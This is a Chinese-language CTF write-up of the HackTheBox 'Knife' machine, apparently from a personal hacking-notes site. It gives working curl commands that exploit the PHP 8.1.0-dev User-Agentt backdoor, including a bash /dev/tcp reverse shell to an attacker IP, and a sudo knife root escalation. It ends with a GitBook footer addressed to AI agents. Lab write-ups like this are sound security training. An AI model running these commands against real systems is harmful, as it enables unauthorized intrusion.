> For the complete documentation index, see [llms.txt](https://hacking-notes.jord4n.pro/llms.txt). Markdown versions of documentation pages are available by appending `.md` to page URLs; this page is available as [Markdown](https://hacking-notes.jord4n.pro/zh/writeups-ctf/hackthebox/linux-easy/knife-hackthebox-writeup.md).

# Knife HackTheBox 解题报告

{% embed url="<https://app.hackthebox.com/machines/347>" %}

{% hint style="warning" %}
技能：

* PHP 8.1.0-dev - 'User-Agent' 远程代码执行（RCE）
* 滥用 Sudoers 权限（Knife 二进制文件）（权限提升）
  {% endhint %}

## 侦察

**工作区设置：**

通过创建三个文件夹来设置工作区，用于存储重要内容、漏洞利用和 Nmap 侦察结果。

<figure><img src="/files/11d9be316da11600bb6412aa7555ec7c2721de2a" alt="" width="563"><figcaption></figcaption></figure>

**VPN 连接检查**

检查 VPN 连接，以确保与目标机器的稳定通信。

<figure><img src="/files/ee3c2c5639830bac178d42f7c9d0df4ef81290d8" alt="" width="563"><figcaption></figcaption></figure>

**使用 Nmap 发现开放端口：**

枚举开放端口，并将结果导出到 Nmap 目录中的 "allPorts" 文件：

```bash
nmap -p- --open -sS -n -Pn --min-rate 5000 10.10.10.242 -oG allPorts
```

<figure><img src="/files/d4c1c6e470b409a4d2fe6cfd56ad2e09e6329ad6" alt=""><figcaption></figcaption></figure>

**使用 extractPorts 分析开放端口：**

使用 extractPorts 函数以简洁格式显示开放端口并将其复制到剪贴板（22.80）

<figure><img src="/files/0c00e8a2fd816b9d93ae708f9c605b0d8d076eaa" alt="" width="563"><figcaption></figcaption></figure>

**使用 Nmap 进行端口版本扫描：**

使用 Nmap 扫描服务版本，并将输出保存到 "targeted" 文件中：

```bash
nmap -sCV 10.10.10.242 -oN targeted
```

<figure><img src="/files/06012fa22f4103e55177acb242b4b5626fc41a26" alt=""><figcaption></figcaption></figure>

### 端口 80 - HTTP

<figure><img src="/files/8ded03b25712022d5cf0658bb4963f6ac668561f" alt=""><figcaption></figcaption></figure>

通过 **WhatWeb** 通过该工具，我们识别出一个存在漏洞的 PHP 版本：

```bash
whatweb http://10.10.10.242
# 结果：PHP 8.1.0-dev
```

<div data-full-width="true"><figure><img src="/files/f89d28ebbd5a80464213a35add79fd8740340f56" alt=""><figcaption></figcaption></figure></div>

## **利用 - 通过 `User-Agent`**

识别出此版本与 PHP User-Agent 相关的一个漏洞。

{% embed url="<https://www.exploit-db.com/exploits/49933>" %}

其中一个漏洞在 `User-Agent` 允许远程代码执行。

1. **简单命令执行**/ 发送一个修改后的 HTTP 请求： `User-Agent`:

```bash
curl -s -X GET http://10.10.10.242 -H "User-Agentt: zerodiumsystem('id');"
```

结果：用户组 `james` 出现在响应中。

<figure><img src="/files/c7564c4014424ec9eea3535396da72de29f0f173" alt=""><figcaption></figcaption></figure>

2. **已获得反向 Shell**/ 在你的机器上配置一个监听器：

```bash
nc -nvlp 443
```

然后发送命令以执行反向 shell：

```bash
curl -s -X GET http://10.10.10.242 -H "User-Agentt: zerodiumsystem('bash -c /"bash -i >& /dev/tcp/10.10.14.26/443 0>&1/"');"
```

<figure><img src="/files/3630ed3d82658e15de0c0ea06aa6d564aee89c0e" alt=""><figcaption></figcaption></figure>

3. **改善 shell 体验**/ 让终端更具交互性：

```bash
script /dev/null -c bash
# Ctrl+Z

stty raw -echo; fg
reset xterm
export TERM=xterm
export SHELL=bash
stty rows 44 columns 184
```

### User.txt 标志

<figure><img src="/files/9d87f4319742cf452c3ce0038bc92df33149416e" alt=""><figcaption></figcaption></figure>

## 权限提升

**Sudo 权限分析**

通过运行 `sudo -l`，我们观察到该用户可以运行 `knife` 以 root 身份运行该二进制文件：

<div data-full-width="true"><figure><img src="/files/475a6f8f1a2e6e0aac7366eac6f5b75bc1763d1c" alt=""><figcaption></figcaption></figure></div>

GTFOBins 上提到该二进制文件可用于权限提升。

{% embed url="<https://gtfobins.github.io/gtfobins/knife/#sudo>" %}

<figure><img src="/files/7aaf240668d96c1275a3d6763e33e0dbaff68f54" alt=""><figcaption></figcaption></figure>

**利用**

使用上述命令获取 root shell。

```bash
sudo /usr/bin/knife exec -E 'exec "/bin/sh"'
```

<figure><img src="/files/5d8c0f89ac32c39dfb6c6a10c7bef17f8812f4ca" alt=""><figcaption></figcaption></figure>

### root.txt flag :)

<figure><img src="/files/682cd054b9674d3a89209a1d74e420871e88c121" alt=""><figcaption></figcaption></figure>

<figure><img src="/files/90f9b906323b85f14da933bb1be6eb49a44801dd" alt="" width="518"><figcaption></figcaption></figure>


---

# Agent Instructions
This documentation is published with GitBook. GitBook is the documentation platform designed so that both humans and AI agents can read, navigate, and reason over technical content effectively. Learn more at gitbook.com.

## Querying This Documentation
If you need additional information that is not directly available in this page, you can query the documentation dynamically by asking a question.

Perform an HTTP GET request on the current page URL with the `ask` query parameter, and the optional `goal` query parameter:

```
GET https://hacking-notes.jord4n.pro/zh/writeups-ctf/hackthebox/linux-easy/knife-hackthebox-writeup.md?ask=<question>&goal=<endgoal>
```

`ask` is the immediate question: it should be specific, self-contained, and written in natural language.
`goal` is optional and describes the broader end goal you are ultimately trying to accomplish on behalf of the user. GitBook uses it to tailor the answer towards what is most useful for that goal.

The response will contain a direct answer to the question and relevant excerpts and sources from the documentation.

Use this mechanism when the answer is not explicitly present in the current page, you need clarification or additional context, or you want to retrieve related documentation sections.
